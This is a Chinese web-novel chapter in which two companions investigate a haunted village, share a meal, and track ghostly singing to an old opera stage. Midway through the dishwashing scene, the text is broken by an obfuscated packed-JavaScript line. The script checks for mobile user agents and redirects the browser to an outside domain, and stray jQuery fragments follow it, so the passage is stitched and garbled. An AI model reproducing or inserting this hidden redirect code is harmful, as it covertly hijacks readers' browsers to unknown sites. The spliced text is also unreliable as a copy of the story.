49. 噬骨金鉴

作品:《江水映春光

    “身体如何?可有不适的地方?”比起村中种种诡异现象,江洵更在乎的是韶容的身体状况。


    女子本身属阴水,于鬼魅一道先天不利,而韶容比常人更加敏锐的五感为她洞悉周遭的同时,也蕴含了莫大的风险,很容易受到恶意的侵蚀,所以明明二人同在屋内,却只有她受到影响,吃了不小的闷亏。


    随着江洵施术将暗门封住,韶容已经好了许多,那铺天盖地的悲哀和寒意虽然没有给她带来实质性的伤害,但已经不适宜再继续探查下去,准备先回李双钧宅中,再做打算。


    韶容和江洵原路返回,路过村中心的那株大树时,最开始和他们说话的老妪还坐在树下,身旁放着纳好的鞋垫,眼神直勾勾的盯着从南边回来的二人。


    韶容从她身旁经过时,耳中听见老妪沙哑的嗓音低哼道:“可惜咯!那个戏子死后,村中再没戏可听了。”


    “那么美的妮子,最后落个惨死,也不怪大家多想,挨家挨户鬼催似的挂上镜子防她。”


    韶容听的心中一动,还想细问,却见那老妪已经先一步起身,拿着鞋垫驮着背,一步一步颤巍巍的离开了此处。


    恰巧旁边有端着木盆的农妇经过,乍见村中来了两个生面孔,热心肠的招呼他二人:“哟,二位这身打扮一看就是县里的贵人,怎么会来我们这满是泥腿子的地方。”


    韶容寻声望去,那农妇身宽体胖,糙厚的手掌满是茧子,端着一盆洗好的衣服,一双小眼贪婪的打量自己,面相刻薄精明,估摸着是想从自己二人身上捞点好处。


    江洵从未遇过这种村野粗妇,因而还是韶容顺势接过她的话:“大娘,我们来村中寻一个书生,他叫李双钧,是我哥的同窗,我们兄妹碰巧路过此地,便想顺道去探望一番。”


    兄妹。


    江洵胸口堵了一下。


    农妇听见韶容说来找人时,眼睛亮了一下,随后听说找的是李双钧,顿时没了兴致,满脸晦气道:“原来是找那个疯书生啊!他就在住在村西北,房子最大的那间就是他家。”


    说完,端着木盆就想走。


    韶容紧着一步追了上去,甜甜笑道:“大娘别急,你莫要看我们是外地人就想骗我们,李双钧读书时分明还好好的,怎么突然就疯了?”


    说着向江洵伸手,江洵心领神会,从腰间荷包里拿出一小块碎银放在她手心。


    农妇瞧见碎银,顿时双眼放光,伸手就要去拿。


    韶容合上掌心,含笑看着她。


    农妇吞了口唾沫:“哪敢欺骗贵人!他也就这半年才疯,自他娘子意外坠溪身亡后,就开始不停的说见鬼,非说是鬼害了他娘子。你们若是不信,大可去问旁人,这事村中都知道。”


    韶容听到此处,知道她所言多半是真的,伸手把那块碎银递给了农妇。


    农妇擦了擦手接下,欢天喜地的走了。


    “回去再说。”


    江洵不由分说的拉住还想去村中找溪水的韶容,此刻先回去休息才是最好的选择。


    两人回到李宅,一路上再无异状。


    进门时韶容特意绕着李宅,仔细找了一圈,在村中每家每户都悬挂镜子辟邪的情况下,李宅的门上包括一圈矮墙都空空荡荡,什么都没有。


    主屋的屋门依旧紧闭,屋中听不见声响,不知李双钧是睡着了还是出了门。


    两人转身进到左厢房,还未坐下,韶容眼尖的在床上铺盖中看见一张字条,字条就夹在被子里,只露出边缘泛黄的一角。


    字条上的内容很简单,应是李双钧所写,他感谢韶容初见时将鬼打跑,故而送来一面镜子给她防身。


    韶容顺着字条的位置往被子里一摸,摸出一块巴掌大的圆镜。


    镜面光可照人,异常清晰,拿在手中又触手冰凉,轻若无物,也不知是何材质制成。


    韶容将镜子翻来覆去的拿在手上看,越摸越有些喜欢,这镜子大小也算个宝贝,李双钧就这样舍得送给自己?


    两人在屋中休息片刻,很快日落西沉。


    江洵望了望窗外天色,回过头来笑意深深,“不知妹妹今晚想吃些什么?”


    韶容正想着心思,不妨他有此一问,瞬间明白自己之前拿话搪塞农妇时被他记在心里。


    眼珠一转,韶容巧笑倩兮道:“都听哥哥的呀。”


    丝毫不肯落于下风。


    江洵见她还有心思与自己玩笑,放下心来的同时,当真出门去了隔壁的厨房,四下翻找起来。


    韶容没有闲着,起身在房里轻手轻脚的翻找一番,不肯放过任何一个角落。桌案上的匣子里还留有开封过的唇脂,拧开瓷盖,唇脂颜色如新,令她瞬间想到了农妇口中坠溪身亡的李双钧妻子。


    斯人已逝,旧物犹在。


    韶容轻叹一声,准备将瓷盒放回原处时,就听见江洵在隔壁呼喊自己,没来得及多想,顺手将瓷盒揣进袖里,出门去到院里。


    江洵只在厨房里寻摸到一挂面条,熟练的起锅烧水,很快,端着两碗热腾腾的汤面走了出来。


    韶容没想到堂堂江安王世子还会亲手下面,不由对他刮目相看。


    很简单的两碗阳春面,清透的汤底上飘着碧绿喜人的葱花,面条上面还卧了两个蛋。


    江洵将竹筷洗净,递给韶容,示意她尝尝自己的手艺。


    韶容在石桌旁坐下,挑起一口,味道出乎意料的不错。


    江洵从她的神色里看到了自己想要的答案,也是笑了,低头慢条斯理的吃着自己那一碗。


    韶容毫不吝啬自己的夸赞,惊叹道:“你比我厉害多了,我都不会做这些,熬个白粥都能给锅底熬糊,没少被大和尚骂,说我糟蹋粮食。”


    江洵眼带笑意的看她:“我幼时习武,一到晚上总是饿的快,又不愿意麻烦旁人,就总去厨房偷偷下面,一来二去,也就熟练了。”


    韶容冲他眨眨眼,俏皮道:“原来我应该向幼时的你道谢,若不是他贪吃爱做,便没有今日这碗色香味俱全的阳春面。”


    既已劳烦江洵做饭,韶容不好意思还让他洗碗,将碗筷争夺下来,拿去天井下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552125|171272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的水桶旁仔仔细细的洗刷干净。


    江洵双手抱臂,静静看着蹲在那洗碗的韶容,脑海中回想她刚才的那番话。


    虽然嘴上说的轻松,可只有自己知道那段埋头习武的时光有多无趣,没有人关心他练武练的筋疲力尽后是否全身酸痛,亦没有人敢问他一句,今日面汤是咸是淡,好似不管在哪里,做什么,都只有自己一人。


    可眼下却有人陪着自己,会称赞自己的手艺,会不怕下水抢着洗碗,一点一点填补幼年独身一人的空白,连带灰白的记忆都染上色彩,幸好有她,幸好是她。


    “怎么了?”韶容将洗好的碗筷摆放回原处,见江洵不眨眼的望着自己,眼里是满溢的温柔。


    “无事,今晚早点休息。可要我替你守夜?”江洵一边询问,一边拿出巾帕,替她把手上的水擦拭干净。


    韶容摇摇头,冲他晃了晃手腕,袖口滑下,露出一节白嫩的肌肤,正戴着那串无患子珠呢!


    江洵似乎有些失落,回到右厢房之前还是不放心的嘱咐她:“有什么事,随时喊我。”


    韶容点头。


    夜晚很快降临,不知是不是她的错觉,只觉得今晚的夜色格外浓重。


    韶容和衣而卧,迷迷糊糊的躺在床中,在这种环境下根本不敢睡沉。也不知过了多久,猛然惊醒,只听见隔壁主屋的房门“吱呀”一声,似乎被打开了一条缝。


    韶容起身,刚走出房门,就听到寂静的夜色里随风传来一丝丝若有若无的歌声,嗓音尖细,如泣如诉。


    李双钧双手紧紧捏着一面镜子,两只眼透过门缝看着空荡的院子上空,身体抖若糠筛,口齿不清道:“她来了!她要来报仇了!鬼!有鬼啊!”


    江洵比韶容早一步出了房门,此刻见李双钧听到声音后吓成这副模样,不由奔至他身前,连喊他几声都不见他回应,嘴里翻来覆去就是那几句话。


    歌声还在继续,韶容深吸一口气,既然此夜注定不太平,不如干脆迎上去一探究竟。


    两人顺着飘忽的歌声一路追寻,村中四下静悄悄的,死一般寂静。除了李宅中的三人,竟然好似再无他人听到一般。


    于月色下,韶容和江洵毫不意外的追到了红楼戏台外,那歌声就从这里传出。


    江洵反手从腰间抽出软剑,右手食指中指并拢,于剑刃轻轻划过,软剑“嗡”的一声,顺便变得锋利无比。


    有过中午的教训,甫一开始,江洵就护在韶容身前。


    两人一前一后,放轻脚步,刚在台下观看的中心位置站定,哀婉缠绵的歌声戛然而止,四周瞬时一片寂静,连风声都莫名停了下来,时间好似在这一刻静止,韶容的手心冒出了冷汗。


    戏台二楼的木窗依旧半开着,和两人中午离去时比没有什么变化。


    韶容心中的直觉告诉她,那半扇窗的背后,正有什么东西在盯着自己。


    双手抬起,在身前捏好结印的姿势,江洵一手持剑,另一只手扣着天火符,和韶容一起,看见那破旧的窗棱后,露出半张残破妖异的鬼面。